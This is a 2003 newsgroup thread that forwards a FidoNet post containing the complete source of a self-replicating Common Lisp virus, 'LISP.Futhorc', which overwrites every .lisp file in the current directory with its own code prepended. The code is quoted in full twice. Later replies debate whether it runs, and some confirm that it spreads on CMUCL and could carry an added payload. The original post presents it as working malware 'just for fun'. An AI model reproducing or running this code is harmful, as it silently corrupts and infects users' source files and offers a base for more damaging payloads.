From: Ivan Boldyrev
Subject: [Fwd] Just for fun
Date: 
Message-ID: <d05tsxm0j.ln2@elaleph.borges.cgitftp.uiggm.nsc.ru>
-------------------- Start of forwarded message --------------------
Newsgroups: fido7.xsu.hacker
Distribution: fido7
X-Comment-To: All
From: "Ilya V. Vasilyev" (2:5020/287)
Date: Thu, 26 Jun 2003 10:27:28 +0600
Subject: Just for fun
Message-ID: <··········@f287.n5020.z2.ftn>
Organization: Hackers' POWER BBS

=============================================================================
* Forwarded by Ilya V. Vasilyev (2:5020/287)
* Area : su.cm (su.cm)
* From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
* To   : All
* Subj : Just for fun
=============================================================================
* Originally in su.cm
Crossposted to pvt.virii
Crossposted to ru.virus

;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
(setq virus '(defun infect (&optional (ls (directory "*.lisp")))
  (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
  (when (setq vic (car ls))
    (let ((p nil)) (with-open-file (i vic :direction :input)
      (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
        (loop (unless (setq line (read-line i nil nil)) (return))
          (setq p (append p (list line))))))
      (when p (with-open-file (o vic :direction :output)
        (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
 (writel p o))))
    (infect (cdr ls))))
)(eval virus)(infect)

--
herm1t http://vx.netlux.org/ HERM-RIPE UR6IUF 2:465/215

-+- golded 3.0.1
 + Origin: Feed my fear (2:465/215)
=============================================================================

-------------------- End of forwarded message --------------------

-- 
Ivan Boldyrev

                                                        ���� ����� ����!

From: Christopher C. Stacy
Subject: Re: [Fwd] Just for fun
Date: 
Message-ID: <u65mrus6p.fsf@dtpq.com>
>>>>> On Fri, 27 Jun 2003 13:32:13 +0700, Ivan Boldyrev ("Ivan") writes:

 Ivan> From: "Ilya V. Vasilyev" (2:5020/287)
 Ivan> Subject: Just for fun
 Ivan> Newsgroups: fido7.xsu.hacker
 Ivan> Date: Thu, 26 Jun 2003 10:27:28 +0600
 Ivan> Organization: Hackers' POWER BBS

 Ivan> =============================================================================
 Ivan> * Forwarded by Ilya V. Vasilyev (2:5020/287)
 Ivan> * Area : su.cm (su.cm)
 Ivan> * From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
 Ivan> * To   : All
 Ivan> * Subj : Just for fun
 Ivan> =============================================================================
 Ivan> * Originally in su.cm
 Ivan> Crossposted to pvt.virii
 Ivan> Crossposted to ru.virus

 Ivan> ;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
 Ivan> (setq virus '(defun infect (&optional (ls (directory "*.lisp")))
 Ivan>   (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
 Ivan>   (when (setq vic (car ls))
 Ivan>     (let ((p nil)) (with-open-file (i vic :direction :input)
 Ivan>       (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
 Ivan>         (loop (unless (setq line (read-line i nil nil)) (return))
 Ivan>           (setq p (append p (list line))))))
 Ivan>       (when p (with-open-file (o vic :direction :output)
 Ivan>         (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
 Ivan>  (writel p o))))
 Ivan>     (infect (cdr ls))))
 Ivan> )(eval virus)(infect)

I would be circumspect in writing programs called "Virus" and posting
them on the net in so-called "hacker" newsgroups, even if it is supposed
to be (I assume) some kind of joke.  It looks like you are not the original
author of the "virus" program, but can you understand what you have posted?  
It's as if someone has cut-and-pasted fragments of Lisp code from
other programs, without understanding what they were copying.
This program is a lot of gibberish and does not do anything at all:
most of it is never even executed.
From: Barry Margolin
Subject: Re: [Fwd] Just for fun
Date: 
Message-ID: <BT2La.52$Cd7.449@paloalto-snr1.gtei.net>
In article <·············@dtpq.com>,
Christopher C. Stacy <······@dtpq.com> wrote:
>This program is a lot of gibberish and does not do anything at all:
>most of it is never even executed.

Sure it is.

As written, it doesn't do anything other than append itself to all the
*.lisp files in the current directory; if any of them are later loaded (or
compiled and the resulting binary loaded) they'll do the same.  It's a
simple virus propagation wrapper; it's a simple matter to modify it to do
something (harmful or not) in addition to propagating itself.

-- 
Barry Margolin, ··············@level3.com
Level(3), Woburn, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Please DON'T copy followups to me -- I'll assume it wasn't posted to the group.
From: Christopher C. Stacy
Subject: Re: [Fwd] Just for fun
Date: 
Message-ID: <usmpulwol.fsf@dtpq.com>
>>>>> On Fri, 27 Jun 2003 21:42:57 GMT, Barry Margolin ("Barry") writes:

 Barry> In article <·············@dtpq.com>,
 Barry> Christopher C. Stacy <······@dtpq.com> wrote:
 >> This program is a lot of gibberish and does not do anything at all:
 >> most of it is never even executed.

 Barry> Sure it is.

I think I made a typographical error when pasting it into an
editor buffer and reformatting it so that I could actually read it.
My version of it had it setting the variable VIRUS to the source code
of a function called INFECT that took one optional arg but had no body.
From: Barry Margolin
Subject: Re: [Fwd] Just for fun
Date: 
Message-ID: <Ai0Ma.24$6f4.305@paloalto-snr1.gtei.net>
In article <·············@dtpq.com>,
Christopher C. Stacy <······@dtpq.com> wrote:
>>>>>> On Fri, 27 Jun 2003 21:42:57 GMT, Barry Margolin ("Barry") writes:
>
> Barry> In article <·············@dtpq.com>,
> Barry> Christopher C. Stacy <······@dtpq.com> wrote:
> >> This program is a lot of gibberish and does not do anything at all:
> >> most of it is never even executed.
>
> Barry> Sure it is.
>
>I think I made a typographical error when pasting it into an
>editor buffer and reformatting it so that I could actually read it.
>My version of it had it setting the variable VIRUS to the source code
>of a function called INFECT that took one optional arg but had no body.

I think you may have trusted the indenting too much.  If I read it
correctly, the body of that function begins with a nested defun.

-- 
Barry Margolin, ··············@level3.com
Level(3), Woburn, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Please DON'T copy followups to me -- I'll assume it wasn't posted to the group.
From: Kalle Olavi Niemitalo
Subject: Re: [Fwd] Just for fun
Date: 
Message-ID: <87el1fp42u.fsf@Astalo.kon.iki.fi>
······@dtpq.com (Christopher C. Stacy) writes:

> This program is a lot of gibberish and does not do anything at all:
> most of it is never even executed.

It spreads nicely on CMUCL, albeit with warnings about undefined
variables.  Didn't you notice the EVAL call near the end?

The (second (read i)) call can have consequences not expected by
the author.
From: Ivan Boldyrev
Subject: Re: [Fwd] Just for fun
Date: 
Message-ID: <u391txe72.ln2@elaleph.borges.cgitftp.uiggm.nsc.ru>
On 8423 day of my life Christopher C. Stacy wrote:
>
> I would be circumspect in writing programs called "Virus" and posting
> them on the net in so-called "hacker" newsgroups,

This is NG of "hackers" in sense of Eric Raymond.

> even if it is supposed to be (I assume) some kind of joke.  It looks
> like you are not the original author of the "virus" program, but can
> you understand what you have posted?

I am smart enough.  May be, I am even Turing-complete :)))

> It's as if someone has cut-and-pasted fragments of Lisp code from
> other programs, without understanding what they were copying. 

I do understand code before copying.

> This program is a lot of gibberish and does not do anything at all:
> most of it is never even executed.

Be more attentive: the virus is in your brain now :)

-- 
Ivan Boldyrev

                                Onions has layers.  Unix has layers too.
From: Matthew Danish
Subject: Re: [Fwd] Just for fun
Date: 
Message-ID: <20030630021322.GM17568@lain.mapcar.org>
On Sun, Jun 29, 2003 at 03:06:53AM +0700, Ivan Boldyrev wrote:
> Be more attentive: the virus is in your brain now :)

Actually, he's right even though he didn't mean it.  I'll give you a
hint: the program invokes undefined behavior.

-- 
; Matthew Danish <·······@andrew.cmu.edu>
; OpenPGP public key: C24B6010 on keyring.debian.org
; Signed or encrypted mail welcome.
; "There is no dark side of the moon really; matter of fact, it's all dark."
From: Ivan Boldyrev
Subject: Re: [Fwd] Just for fun
Date: 
Message-ID: <98f6tx3sa.ln2@elaleph.borges.cgitftp.uiggm.nsc.ru>
On 8425 day of my life Matthew Danish wrote:
> On Sun, Jun 29, 2003 at 03:06:53AM +0700, Ivan Boldyrev wrote:
>> Be more attentive: the virus is in your brain now :)
>
> Actually, he's right even though he didn't mean it.  I'll give you a
> hint: the program invokes undefined behavior.

Is it because top-level setq?  Replace it with defvar.

-- 
Ivan Boldyrev

                                Onions has layers.  Unix has layers too.